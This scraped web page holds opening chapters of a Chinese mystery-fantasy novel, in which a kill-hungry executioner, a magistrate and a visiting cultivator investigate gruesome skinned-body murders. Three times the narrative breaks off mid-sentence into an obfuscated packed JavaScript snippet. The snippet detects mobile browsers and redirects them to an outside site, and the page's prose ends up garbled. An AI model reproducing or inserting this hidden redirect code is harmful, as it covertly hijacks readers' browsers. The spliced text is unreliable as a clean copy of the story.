《刽子手不就是干这个的吗?》 1. 死得好惨 ……想杀人。 金属和石头碰撞在一起,刺耳摩擦声教人心烦虑乱。可磨刀的人只是皱着眉,反而加大了力气,使那声音愈发尖厉。 傅水伤握着她的大刀,将用钝了的刀刃重又变得锋利起来。 这大刀是五年前她初入明镜府时,府中前辈交与她的。那时她已忍了许多年,到了听见人声就杀意四起的地步。 她想杀人。自有记忆起就想。 也没有什么特定的目标,只是单纯地想要杀人,想杀许许多多的人。最好是能将目光所及之处的人都杀个干净。 这听起来毕竟不怎么正常,她想大概也没有人愿意包容一下她这小小的癖好,来自愿地给她杀一杀。她便只能忍着。 到实在忍不住的时候,忽听闻明镜府少个刽子手,正急得到处招人,傅水伤便去试了试。 她原本不抱什么希望,却不料府司大人只和她说了几句话,就让她留了下来。 当时如今的皇帝才刚刚登基。因是少见的女帝,还将不少重臣全换做了女子,不服气的人便一波接着一波地造反。 全都被打下来,判了个满门抄斩。 行刑之事自然是要让傅水伤这个刽子手来做。她只觉自己好似迈入了天堂,每天杀人杀到手软。挥刀的臂膀都粗壮了不少,每夜洗完澡都忍不住对着镜子去看自己威武雌壮的身躯。看了又看,满意的不得了。 可惜那样的好日子不常有。天下渐渐趋于太平,她已经整整十七天没有杀人了。 傅水伤越想越烦躁,手上也愈来愈用力,几乎要把那柄大刀折断。 “咚、咚。” 忽然有人敲了敲门,随后推门而入。 傅水伤闻声抬眼,满是血丝的双眼里充满了杀气,把刚进来的人吓得又退了出去,默默把门关上。在门口给自己加油打气了好一会儿,才敢再次进门。 “水伤啊……”她低着头不敢看人,“在家里做什么?” 傅水伤已经把刀放下,假装自己十分正常,“没什么事,想起来就把刀磨了一磨。丘大人找我?” 来人是明镜府府司丘执玉。 傅水伤弄不清朝堂里那些乱七八糟的官职,只知道自己现在也是明镜府的人,而府司是明镜府里最大的那个。犯人们进了明镜府,丘执玉决定杀谁,然后傅水伤去杀。 也是丘执玉做主让她进的明镜府。 她还记得当初站在丘执玉面前,为了争取到这绝无仅有的奉旨杀人的机会,痛哭流涕地告诉她自己有多么贫穷,而明镜府给的薪资有多么丰厚。她初来京都实在找不到活计,得不到这份工明日就要饿死。 “请大人一定要考虑考虑我啊!” 她刚说完,前任的刽子手走进来,第一千三百二十一次请辞。那人腰间挂着无鞘的大刀,为了离开这鬼地方,一进门就弯腰行礼。动作间划破了傅水伤的荷包,满袋金珠子撒了一地。 那前辈听见声响便回头看她,“咦?是你?三年前咱们一起搬来京都的,还记得我吗?” 傅水伤不敢说话,并且想把身边这人给杀了。 谎言当场被揭穿实在尴尬,不知丘执玉怎么想。 ……管她怎么想,直接也一起杀了! 但她忍了那么多年,她觉得自己还能忍。于是她灵机一动,把金珠捡起来交给丘执玉,心痛万分地说:“大人,这其实……这其实是我偷来的!” “我实实在在是快要饿死了,这才起了歪心思。今日要是大人不给我这份工,我也不知道下次再见大人,是不是就在明镜台下了!” 来之前她就听闻这个什么府司大人十分心慈手软、爱民如子。眼下只要让她去当这个刽子手,立时就能拯救一个即将误入歧途的大好青年。她相信丘执玉一定……大概、也许、有那么一丝可能同意她的请求。 况且她说的也是实话。她真的不能再忍。今日要么留下来去明镜台下砍两个犯人,要么出门去杀几个无辜之人,被抓到明镜台下当犯人给砍了。 一旁的前辈听明白了她的来意,却不等丘执玉说话,立刻眼含热泪,“终于……终于……” 她将大刀解下来,交到傅水伤手里,“这刀跟了我三年,我现在将它送你。从今日起你就是明镜府唯一的刽子手!” 随后又向丘执玉弯了弯腰,“大人,后会有……后会无期!” 说完她转身便走,此后再也没有踏入过京都半步。 上头丘执玉张了张嘴,没能开口,已经见不到人影。 她就看了傅水伤一眼。收回目光,沉思片刻,又看了一眼。然后问了些家住哪里年方几何的话,竟真的留下了她。 傅水伤那时候已在疯癫边缘,完全无法去思考这是什么情况,也没想过招一个刽子手为何开那么高的价格。 后来才听闻明镜府是受了诅咒,死在明镜台下的人必化为怨鬼索命。当年除了那位前辈,羽林军与京都卫军、还有明镜府府兵,都是要派人来轮番行刑的。按理说直到东扶国家覆灭,士兵们都轮不到一番。 奈何诅咒实在强大,执行过刑罚的人竟全都陆续惨死。 其中最知名的是京都卫军一个小首领,据传他带兵去京郊剿匪,恰遇两波匪徒对战,两败俱伤。她们黄雀在后,几乎不费一兵一卒地就完了事。 首领一时高兴,仰头大笑三声——倒不是不想多笑一会儿,只是笑到第三声的时候,被路过的鸟儿撒了泡尿到嘴里,竟是直接被呛死。 尸体滚落在地,平常里训练有素的战马竟因此就受了惊吓,失控之下将他踩成了一摊肉泥。他成了此次剿匪中唯一的牺牲者。 也是京都卫军这次带来的人里,唯一帮明镜府行刑过的人。 这死法实在荒谬,传出去后便再也无人愿意来明镜府帮忙砍人。甚而有不少士兵见到皇帝就一跪二哭,三说宁愿战死沙场不愿死得这么可笑,求皇帝免她入明镜府帮忙。 一开始皇帝都是直接大手一挥把人送沙场去,满足她的心愿。但奈何来求的人太多,皇帝也无法,最后还是叫丘执玉去重金寻找不怕死的人。 所以丘执玉其实毫不在意傅水伤为什么要来,有人来就够了。反正也只是一个无关紧要的职位,况且此时求着要来的人,大概要不了几天就会求着要走。 彼时她看着傅水伤,亦是看了又看,满意的不得了—— 竟没有得绝症,更没有缺胳膊少腿,也不是头发花白半截入土的老人。 是个人,能举得动刀。实在完美。 丘执玉当场就点了头。略带愧疚地瞅了她好几眼,半个时辰后便让她去了明镜台。 牢里犯人太多了,再不杀一批,新来的都得住她家里去了。 不过即使是知道了内情,傅水伤也全然不信诅咒之类怪力乱神之事。反正五年过去了,她还好好的。想起当年,唯一勾起的情绪也只不过是第一次杀人时的兴奋与满足。 回味一番过后,她立时就去追问丘执玉因何而来。 “是又有需要行刑的犯人了吗?” “那倒没有,”丘执玉摇头,“最近京都明面上还算太平。” 傅水伤简直失望至极,“那大人来找我做什么?这里又没有什么案子要查。” “怎么没有?”丘执玉很是奇怪,“你隔壁出了人命,你完全不知道么?” 难怪一大早就那么吵,吵得她杀心大起。哭喊尖叫和窃窃私语到现在都还在,傅水伤支起耳朵,就听见一句:“我可怜的孩儿!你死得好惨呐!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14972289|161335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她心里有些说不出的忿忿。隔壁那男人老是莫名其妙地往她这边张望,她早就想把人给弄死了。既然都要死,老天怎么不安排给她杀,就这么悄悄没了,真是浪费。 但她很快又想到有人受害,那凶手被抓到了自然也是个死刑,到时候她还是有人可杀的。有丘执玉在,凶手应当不久就能落马。 于是她又开心起来,笑道:“我只是没想到丘大人你会亲自过来。那我们先去隔壁看一看吧!” 丘执玉被她拉着出门,在她身后小声道:“……到了人家家里可不要笑着进去。” “嗯。”傅水伤敷衍地应了一声,脸上依旧带着浅淡的笑意。她看到隔壁门扉大开,一群人围着,有哭天抢地的,有路过看热闹的,还有慌慌张张要跑去报案的。 便喊了一声:“明镜府查案!都起开!”随后很自觉地为丘执玉开路,让她走到了最前。 新鲜的尸体就躺在门口,脑袋枕着门槛。他的脸皮被剥了下来,挂在耳朵上;两个眼球滚落在地,被踩爆了一只;身体上则只剩下了一副骨架。 面貌早已无法辨认,只能从依旧穿在身上的衣物、还有脸皮上那熟悉的眉形,判断出这人大概是屋子的主人,吴小。 这死状教丘执玉在人群里踌躇了片刻,才敢走进去。连傅水伤都不住发出感慨,“当真死的好惨!” 还不如给她杀,她一向一刀毙命,比这凶手可要温柔得多。吴小要是能选,肯定也会选她。 丘执玉已经站在了死尸面前,眉心微蹙。她先是回过头去看傅水伤,不知怎么的竟以为她会害怕,叫她转过身去,才自己蹲下去查看。 傅水伤自然不会转身,她站在丘执玉身后,亦是用目光探查。 单看着还不够,很快她也蹲下身去,伸手想要触碰那露在衣物之外的白骨。 丘执玉及时抓住了她的手腕,“莫要乱动,等仵作来。” 傅水伤便收了手。她看着那不带一丝血肉的森森白骨,问道:“丘大人,你觉得他身上的肉哪里去了?” 不知凶手用了什么手法,能将它剔得这样干净,还又把衣服穿了回去。却又不见一丝血迹。 “被鬼怪吃了吧。”丘执玉抓着傅水伤不肯放手,“他这死相,像是恶鬼所为。” 要是鬼怪所为,还哪来的犯人让傅水伤去杀? 傅水伤立刻就急了,她根本不信世上有什么鬼怪,却不知为何身边的人一个个都坚信不疑。连丘执玉这样的人,都能在查案时怀疑到不存在的鬼怪身上。 “大人,真相不明怎么能妄下结论?要是我们当他是被鬼怪所杀,实际却并不是,那不是要教真凶逍遥法外了?我们可没办法把恶鬼抓来行刑。总要将所有人为的可能都排除了,才能去想鬼怪之事。” 她一番义正辞严。好在丘执玉虽然信鬼神之说,却依旧是个合格的府司。听她说完,便点头道:“你说的是。我再去屋里面看看。” 她终于放开了傅水伤的手腕,便让傅水伤不知道该不该跟着。她是想要进去看看的,但又怕门外围观的人破坏现场,想了下,还是先去驱赶闲杂人等。 大家都有自己的事要做,热闹看过了便完,让她们离开也不难。人很快走光,只留下人群外一辆马车。 “喂!”傅水伤冲那马车喊了一句,“还请速速离去,不要影响明镜府查案!” 马车里的人没有应声。傅水伤便皱眉看了过去。 门开着,里面坐了一个和她年龄相仿的女子。那女人穿了身窄袖黑袍,外面套了件暗红色圆领无袖长衫。她跪坐在马车里,双手抓着一把带鞘的长剑,横放在膝盖之上。 往上去看她的面容,先看见她一双眉眼锋利如刀,正一错不错地盯着傅水伤看。 2. 提笔 傅水伤便不知怎的呆站在原地,默默地与之对视。直到丘执玉拍了拍她的肩,她才回神,而那马车早已离去了。 “在看什么?”丘执玉往门外扫了一眼,又捏了捏傅水伤的肩,“天凉了,你怎么还穿着夏衣?回去穿多一些。” 傅水伤只是看向远方街口,问道:“丘大人,你看见刚才那马车里的女人了吗?” 丘执玉点头,又碰到了她冰冰凉凉的脖子,就把自己的外衣脱下来给她披着,道:“那是陛下从大陆上请来的仙尊。说是皇宫里恶鬼横行,不住有人惨死。陛下花了好大力气,才请来仙尊降鬼除魔。” “这位仙尊好似还是什么天下第一宗门的少主呢。很厉害。” 傅水伤却只觉得东扶要完。没想到连她们的皇帝也信这些。她简直已经看到了皇帝荒废朝政追寻长生之道,最后乱磕丹药一命呜呼的样子。 “世上哪有什么仙尊?”她便道,“我看陛下是遇到江湖骗子了。” 什么神仙鬼怪,不过都是孱弱凡人的幻想。要么幻想自己活着修仙得到神奇力量,要么幻想自己死后化鬼得到神奇力量。不过是坚信自身弱小无力,只有获得奇迹才敢去做自己想做的那件事。 有这做梦的时间,不若多去练一练刀法。 但丘执玉显然并不赞同,摇头道:“自然是有的。” 两人在这件事上不可能达成一致,傅水伤便没有浪费口舌去争辩,只转移话题,道:“大人看过屋内了?有什么发现?” “什么也没有。”丘执玉摇了摇头,余光见明镜府其她人终于赶来,便拉着傅水伤去与她们交代,“做好记录,尸身证物都带到明镜府去。” 这些术业有专攻的事,傅水伤插不上手。她站了片刻,发觉没自己什么事了,便告辞回去。 临别前还是好奇地进屋子里看了一眼,出门时便有一缕极其轻薄的黑烟跟在身后,离她越来越近。 直到她进了自己的院子,将大门关上,那缕黑烟终于环绕在了她的脖子上,在咽喉处划出一道细细的黑线。 突然之间傅水伤便烦躁了起来。她心里杀意升腾,恨不得立刻提刀去砍几个人。她进屋去喝了口水,想压一压满心躁动,水倒进嘴里却怪异地溢满了口鼻,险些将她呛死。 她咳嗽了几声,把水杯丢出去摔碎。心想人倒楣的时候当真是万事万物都在与她作对。 喘了口气之后,傅水伤又到院子里去练刀,把自己累到精疲力竭才收手,将大刀架在肩上歇着。 锋利刀刃割破了脖子上的皮肤,也将那一缕黑线斩断。 傅水伤便忽然间觉得心里面松快了一些,想了下,拿着刀去了明镜府。 她得去盯着。十七天已是极限,她显然已经开始不对劲了。那害了吴小的凶手最好是早些出来给她杀一杀,不然她也不知道自己会做出些什么事来了。 * 明镜府中,丘执玉正坐在堂上审问证人。她身边坐了人记录证言,下面的人也正说着话。因而见到傅水伤进来,丘执玉便只是看了她一眼,并未理会。 傅水伤就自己找了个角落去听。 堂下之人住在吴小对面,傅水伤认得她。只听她惊恐万分地回忆:“……天刚亮那会儿,我一出门去,就看见对面吴小家的门也开着,吴小躺在地上一动不动。” “我以为吴小昏迷了,走过去想扶他起来去找大夫……” “你是说,吴小那时候看起来尚且是……完整的?是吗?”丘执玉问道。 否则那一身白骨、满脸血肉,任谁也不可能以为是“昏迷”。 “是、是……”堂下的人开始簌簌发抖,好似想到了更为可怖之事,“我看到他的时候,他分明是好好的,和睡着了也没有多大区别……可是,可是等我去扶他……” “我只是碰了他一下!他浑身的肉立刻就烂了个干净,脸皮和眼睛自己掉了下来,我惊慌之下还踩碎了一只……” “一派胡言!”傅水伤拿惊堂木敲了下桌面,“以为你编些怪力乱神之事就能蒙混过去?事实到底是如何?从实招来!” 底下人被一声闷响拉出了回忆,连忙道:“大人!我说的句句实言呐!” 丘执玉亦被突然的响声吓了一跳。她把惊堂木拿过来,放到了另一边。又看了傅水伤一眼,见她不知何时已然坐在了自己身边,离得极近。便张了张嘴,无奈道:“……你且出去,这里我来。” 傅水伤不大愿意,又听丘执玉说:“或者我去请陛下,让她令你来担任明镜府府司之职。” 她听出丘执玉不甚高兴,便只好出去了。也并没有走远,就坐在门口继续去听。 她就不明白了,进入明镜府后胡言乱语扯上鬼神为自己掩盖的人可多了去了,这么多年却也没有哪个人真的是被鬼怪所杀,到最后总都能把凶手找出来。怎么丘执玉被骗了那么多次,还愿意听这些人乱扯。 难道世上真就只有自己清醒,知道鬼神之说无稽之谈么? 她叹了口气,而里面已经问完了话,又换了下一个证人。 “我是听到刘大姐的叫声才出去看的。是,我见到吴小时,他就是这副样子……,刘大姐和我说……对对!她说她看见吴小时,吴小还是好好的……” 余下几人的证言都相差无几,没有人比刘大姐更早地发现吴小的尸首,也没有其她人看见过刘大姐所说的完好无损的吴小。 那就很明了了,肯定跟刘大姐脱不了干系。犯人总喜欢做第一个发现尸体的人,编造些假话来干扰视线。 破案指日可待,又有人可杀了! 正兴奋着,却听里面丘执玉说:“那看起来……还真像鬼怪所为。” 傅水伤:“……” 她实在想进去骂丘执玉两声,恰好丘执玉也开口叫她进去。她便起身,想要走到对方身边,却被丘执玉拦在了堂下。 “就站在那里,我有话要问你。” “站在这里?”傅水伤意识到她这是在将自己当做疑犯问话,虽明白是正常流程,也还是没忍住握了握刀柄。 丘执玉却不甚理解她重复这几个字的意义,想了下,认真道:“你想跪着也行。” 傅水伤:“……” 她自然是站着,“大人想问什么?” “你就在吴小隔壁,当真一点儿动静都没有听到吗?” 傅水伤摇头,“我醒来就去磨刀了,许是磨刀声太大盖过了隔壁的动静吧。” 丘执玉也摇头,“那点声音能有多大?怕不是鬼遮耳。” “……”傅水伤无语。 这她倒不好解释。她沉浸在大杀特杀的幻想里无法自拔,才什么都没能听到。这种事可不能和别人去说。 不过丘执玉丝毫不曾怀疑过她,倒让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14972290|161335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她不自觉地把握刀的手松了开来。 丘执玉对着她不住叹气,“你这个人,除了杀人真是一点用都没有。就在你隔壁,你什么也听不见。” 傅水伤不知道她为什么忽然骂自己,而丘执玉还继续叹着气,自语道:“也不知陛下找你做什么?” “陛下找我?”傅水伤也很是惊讶。她可从来没有见过那个皇帝,皇帝也更不应该认得她这个无名小卒才是。 “也不能说是陛下,应当说是那位仙尊。她想见你,请陛下召你进宫。”丘执玉略有些担忧,“你早上见到了仙尊,是哪里惹到她了么?” “……算了,我和你一起去。你遇事就站我身后去,让我说话。” 傅水伤倒是完全不紧张了。一个江湖骗子而已,早晚被揭穿。到时候皇帝一怒之下下令砍头,行刑的肯定还是自己。 未来的刀下亡魂,不值得多虑。 不过她还是很烦。她最讨厌去见那些乱七八糟的大人物,一个个给她们下跪的时候,更是烦到恨不得跳起来杀人。 她本来就整整十七天没见血,忍得辛苦,万一在宫里没忍住去刺杀皇帝,羽林军定会将她当场乱箭射死。 可她也拒绝不了,只好等待明日到来,再和丘执玉一同入宫。 在明镜府一直待到了黄昏时分,傅水伤才被丘执玉赶回了家。她独坐在窗前,唉声叹气。 又是没能杀到人的一天。 明日还得进宫见皇帝。 想到那所谓的仙尊给她平白带来的麻烦,傅水伤的手便又痒了起来。她深吸了口气,低头正看见桌面上摆着的纸笔,便顺手拿过来,想要将人画下。 稍后睡前练刀时还能贴在墙上砍上几刀,勉强也能解点馋。 笔锋到了到离纸面半寸的距离,傅水伤却忽然停住。 她一时想不起来那仙尊生得是什么样子。分明方才还在脑海里栩栩如生的脸,倏忽间却变得模糊起来。 身上的衣物好像是黑色,还带有一些暗红…… 她努力去想,便想起了一些,却很快变得更为困惑。 黑色是什么颜色?红色又是什么颜色? 傅水伤的手开始颤抖起来,几乎要握不住笔杆。她心里清楚自己应当知道什么是红什么是黑,可她此时却全然想不起来。 衣服不重要。她用力摇了摇头。那人的脸…… 那人的脸又是什么样子? 她竟什么也想不起来。明明清晨时盯着看了那么久,此时大脑中却一片空白。手悬在纸面上颤抖,墨汁星星点点的落下来。 眼睛!她记得那人的眼睛! 傅水伤怕自己下一刻又会忘记,立即落笔去画。她终于是画出了点东西,定睛一看,纸上那几笔却实在称不上是一双眼睛。 只不过是两个扁圆的圈圈,圈里面画了一个点。没有丝毫眼睛的模样。 可她竟觉得纸面上那双眼睛正一错不错地盯着自己,教她也忍不住与之对视。 双眼渐渐刺痛起来,流下了一滴眼泪。她擦了一把,却沾了满手鲜血。 傅水伤直觉不好,连忙抓住了那张纸,三两下撕得粉碎。 随后她发现了更为糟糕的事——她过于专注,未发觉天竟然已经是黑了。她什么也来不及想,便只好匆忙往床上跑去。然而才刚碰到床沿,却已坚持不住,倒头昏睡在了地板上。 3. 仙尊 龙泉殿上看见了那害得自己在地板上睡了一夜的人,傅水伤立刻便把手探向腰间。 幸好入宫不得带刀,她摸了个空,清醒过来,便收敛着杀意抬头去看。 那位“仙尊”看起来很受皇帝礼待,在皇帝边上几乎是平起平坐。她的衣着打扮悉如昨日,长剑也依旧被拿在手中,放在膝上。 竟不必卸剑,看来陛下是真的被这江湖骗子给骗到了。 即使经历了昨夜的怪事,傅水伤也依旧认定这人是个骗子。她想昨日只不过是一点小戏法罢了。清晨起来时脸上并无血迹,她便知一切只是假象。肯定是这骗子对她做了什么手脚,才让她陷入了幻觉之中。 世上绝无修仙这种无稽之事,这骗子就算骗过了所有人,也休想骗她! 方才想着,那骗子也已注意到了她,垂目看了过来。 傅水伤立刻低头,避开她的目光。 前面带她来的丘执玉已停下脚步,对着上首的皇帝行礼。傅水伤见她并没有下跪,也就跟着一起,只是弯腰致意。 却不知道皇帝的哪个狗腿子忽然出声,说了一句,“见到陛下都不知道下跪吗?” 丘执玉便顿了一下,好似有些惊诧,小声嘟囔了句,“我也要跪吗?” 很快又轻轻叹气,似有几分无奈,“……好吧,真是的。” 傅水伤猜她与皇帝熟识,见她都往下跪了,也只好跟着跪下。 但丘执玉的一只膝盖刚碰到地面,皇帝就及时开了口,“执玉起来,不必多礼。” 傅水伤已经跪下了,闻言就期待地看向陛下。她想都叫丘执玉起来了,也该叫她起来的。 可皇帝看了她一眼,正遇上她直勾勾的眼神,皱了皱眉,难免有些不喜。便像没看到她一般,继续去和丘执玉说话。 傅水伤也意识到不妥,便低下头。片刻后又迅速地往上扫了一眼。 皇帝身后的两个侍卫一看便身手一般,加起来也不是她的对手;坐她身边的骗子看不出深浅,但双手上并没有长久练剑造成的变形,想来也是花架子;丘执玉不会武,拦不住她—— 她只要上去夺了那骗子的剑,转头就能把皇帝杀了…… 意识到自己在想些什么,傅水伤就急忙吸了口气,把思绪压了下去。 她低头盯着地板,好不容易令自己平静下来,又忍不住抬头去看。 上面那皇帝比她想象的要年轻许多,看起来比傅水伤还要小上几岁,至多二十出头的样子。她此时正在和丘执玉说着那吴小的事,“……你是说,那人被发现时看起来宛如在睡梦之中,可被人碰了一下,立刻便成了那副样子?” 丘执玉点头。 皇帝便蹙眉起身,“你随朕来。” 两人往殿外走去,丘执玉这才看到后面跪着的傅水伤,连忙扶她起来,小声道:“你怎么还跪着?沾一下地意思意思就好了。你随我来的,陛下不会说什么的。” 傅水伤没敢说话。她看见皇帝往这边扫了一眼,这距离显然是能听到丘执玉的话。不过她确实什么也没说,只又回头对那骗子道:“仙尊也请同去吧。” 那骗子也站起身来,众人便随着皇帝走到了一处暗房里。 这里面正躺着一具男尸。他的脸皮被剥了下来,挂在耳朵上;两个眼球放在一边的盘子里,身体上则只余干干净净的骨架。 死状与那吴小一模一样。 “这是……”丘执玉没有进去,停在门口远远地看着。 皇帝道:“清晨时侍卫在大威宫外发现的。刚发现时亦是完好无损宛如沉睡,被那侍卫碰了一下,立刻便成了这副样子。” “而且,”她语气郑重,“算上宫外你所说的那人,已是本月第五个了。” “全都一样的死法。” 众人一时无言,连傅水伤也有些疑惑。 这完全相同的手法,合该是同一人所为。但那人要如何同时出现在两地作案?又或者那侍卫和刘大娘是同伙?商量好了作案手法与供词? 可她其实认得刘大娘,那实在就是一个普通人,要说何时被吴小惹恼了怒而杀人还有可能,但绝对不认得什么宫内侍卫。 何况皇宫里已有过四次,每次首先发现的侍卫必然都不是同一人,否则皇帝早该怀疑了。 难不成前些年被皇帝打服了的人又开始蠢蠢欲动意图谋反,且早已潜伏在了侍卫之中。这是在里应外合,做一些她们暂时未能理解的行动? 傅水伤想到这里,几乎是兴奋起来。倘若真的是有人造反,那可是满门抄斩的大喜事! 其她人所想却与她全然不同,丘执玉忧虑道:“本月才过去十日而已,什么样的鬼怪有这样大的威力。看来还不只一个……若是在京都聚集……” 傅水伤:“……” 她实在忍不住要说一说自己关于团伙作案意图谋乱的猜想,却先见那骗子走上前去,伸出手放在尸体的头顶之处,随后慢慢向下,一直抚摸到脚踝。 “非是鬼怪。是人为。”她收回手,擦了擦指尖沾到的血迹,“他身上鬼气很重,但眼眶处有剑痕,肋骨曾被人踢断,脸皮亦是被人为剥下。血肉是死后被风狼所食。” “应是遭人虐杀。” 傅水伤第一次听到这骗子开口说话,却没想到她和自己一样相信是人为。她便多看了这骗子一眼。 骗子察觉到她的视线,也看了回来。 “可是侍卫和刘大娘都说,人刚被发现时还是好好的。”丘执玉将两人的视线都吸引了过去,“这种状况,难道是人力可及的么?” “不是很简单么?”骗子好似并不理解她的疑问,“下个障眼法即可,并不是什么高深的术法。” 其她人更为茫然,全然无法理解障眼法该是什么东西。虽能望文生义大致猜出来,但是…… 皇帝率先将她们所想说了出来,向那骗子解释,“仙尊,东扶之内并没有什么修道之人。再简单的术法,我们凡人也用不出来。” 骗子才好似恍然大悟一般,微微点头。她意识到此地贫瘠、灵气稀薄,又只不过是海外一个不大的岛屿,地处偏僻。恐怕这里的人一辈子都不会见到一个修道者,更不会有修道者与她们的皇室牵扯上关系,用这种手法遮遮掩掩地在宫中虐杀侍卫。 这事大概另有蹊跷,而她也不应该像往常一般,默认身边所有人都有修为。 丘执玉又一次开口,继续提出她的疑问:“即使是有修道之人在作祟,京都城里可也并没有风狼。” 整个东扶只有红溪谷中有风狼,离京都远得很,来回最快也要一月之久。她想即使是修道的仙人,行路也需要时间,不可能带着人瞬间赶到红溪谷,待风狼把人吞噬完毕了,再瞬间把尸首带回来。 就算可以,这也太过麻烦,完全想不出这样做的理由。 除非有人在京都里偷偷养了风狼…… 果然那骗子也说:“若是凡人骑马需要一月,那修为最高深的人,也至少需要一日。” 随后她又做出了和丘执玉一样的猜想,“但京都城里不见得真的一只风狼也没有。” 所有人都皱起眉来。她们原以为只是鬼怪所为,却没想到是人、甚至可能是修道之人。鬼怪不过凭本能行事,驱鬼之后便再无问题;人做下这样的事,却必定隐藏着她更大的阴谋。 只有骗子和傅水伤神色不变。 那骗子始终目光冷淡无波无澜,只道:“既然陛下请我来到东扶,无论是鬼怪所为、还是有另一位修道者,我都会为陛下查明真相。” 傅水伤则在拼命忍着自己冷笑翻白眼的冲动,以至于始终面无表情。 她就说这骗子为什么不顺水推舟说是有鬼,随后装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14972291|161335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 模作样施法驱鬼拿着银子跑路。原来是觉得驱鬼这种事随便一个江湖骗子都能做,而与另一位修道者斗法可就不容易了。 接下来呢?是去找一个人配合她装作杀人凶手?亦或者……她本来就知道杀人凶手是谁,不过一明一暗配合默契,全是那背后之人暂不可知的阴谋? 傅水伤实在很想提醒一下她们这位已然被迷惑了的皇帝,但显然没有人会信她。而她想了一下,又觉得这些事和自己并无关系。背后谋乱之人闹得越大才越好,皇帝越生气,自己能杀到的人就越多。 只要稍微护一下毫无自保之力的丘执玉就好。 她方才想完,那骗子又看向了她,说道:“我能否再去看看那吴小的尸身。” 皇帝见她看着傅水伤,就好像才想起来自己今日把人叫进了宫里来似的,终于对傅水伤说了话,“你带仙尊过去。” “昨日仙尊说她初来东扶,需有一名随行的侍卫,又恰好看到了你。你既得到仙尊赏识,就照顾好仙尊。知道了吗?” 傅水伤当然只能点头称是,不大高兴地带着骗子离开。她想着等到了明镜府,就把人丢给丘执玉,才不要伺候这大.麻烦。 但丘执玉被皇帝留下了。却另有人跟了出来。 傅水伤才发现皇帝身后那两人中有一个并不是侍卫,而是这大骗子手下的小骗子。 那小骗子走到大骗子身边,颇有些不满,“这小破岛屿上一个小皇帝,怎么还要我们对她这么恭敬?要是在明真山上,她连我们守山门的小师妹都见不着。” 大骗子不曾理她,但不碍着她自顾自说下去,“昨日还听宫里侍卫夸她们陛下,说她身为先帝最小的女儿,如何十四岁被送去和亲,却把敌国全灭,彻底统一东扶;如何带兵回宫,打败先帝一众男儿,年仅十六登基为帝;又如何把前前后后造反之人全部压下,天下归心。说得那般慷慨激昂,听得我都心潮澎湃起来。可仔细一问,那规模还不如我们明真山下两村械斗呢!” “她们口中的‘天下’可真小,一个东扶而已,给我我都不要。” 傅水伤心里冷笑一声。 在她一个小小的侍卫面前还不忘演戏,说得这么真,她简直都快要信了。 小骗子还在絮絮叨叨,“天下又不怎么太平,死的人多了去了。这小岛就算一夜之间被人屠杀殆尽,和外头比起来也就是平常。你应当看都懒得看一眼的,怎么非要来这破地方?” “阿成胡说什么。”大骗子终于开口,“命无高低贵贱,她们这里出了事,又叫我得知,我当然不能袖手旁观。” 可她那冷淡的语气,分明像是在说:命无高低贵贱,全都一样该死。 小骗子也笑道:“少主你什么时候这样好心了?” “我向来都是这样好心。” 傅水伤走在她们后,听得想翻白眼。她遵循本心翻了一个,又随之打了个极响的喷嚏。 “阿嚏!!” 前面那两人便都闻声回头。 “生病啦?凡人就是体弱。”小骗子还有些良心,虽嘲笑她,却还给她一个手帕让她擦一下鼻涕。 傅水伤却先摸了把腰间大刀本该在的位置,才把手帕接过。 要不是这死骗子害她在地板上睡了一夜,她哪里会生病。 而那死骗子更是丝毫良心也没有,只站在原地看着她,冰冷目光里似有几分厌弃。等她收拾好了自己,才开口与她说话。 “我名叶边舟,师出明真山天照宗。”介绍完自己,她又指着身边的少年,“这是我师妹,文武成。” “不知应当如何称呼与你?” “傅水伤。” 她说完,便看见那名为叶边舟的死骗子正微微蹙眉,仿若在回忆着什么。 “我应当认得你。”叶边舟道。 可她却实在记不得。 4. 长宁街 傅水伤不吃这一套。她想这如同“这位妹妹我曾经见过”一般的话,听了只教人觉得恶心,难不成这位“仙尊”竟觉得说出来可以拉近关系么? 她一脸假笑,道:“那仙尊肯定是认错了。仙尊以前在明真山,我肯定是连你们守山门的小师妹都见不到的。” 叶边舟还不曾说话,小骗子文武成就先“哟”了一声,“阴阳怪气什么呢?见我看不起你们陛下,为你们陛下打抱不平?” 傅水伤懒得理她,叶边舟却也同样没有回应。文武成便翻着白眼“呵”了一声,转身自己走了。 “或许是认错了。”叶边舟虽觉得眼前之人莫名熟悉,却没有丝毫想要深究一下的意思。她只是微微点头,道,“那请傅大人带我前去明镜府。” 傅水伤还是第一次被人叫“大人”,不由得上下看了看她,才带着人过去。 方到明镜府,叶边舟便马不停蹄地去看了吴小。她得出与在宫中时相同的结论:吴小亦是被人残忍虐杀,先剥了脸皮挖去双眼,死后又被风狼所食。 随后她叫傅水伤把证人全都找来,重又听了遍证言。 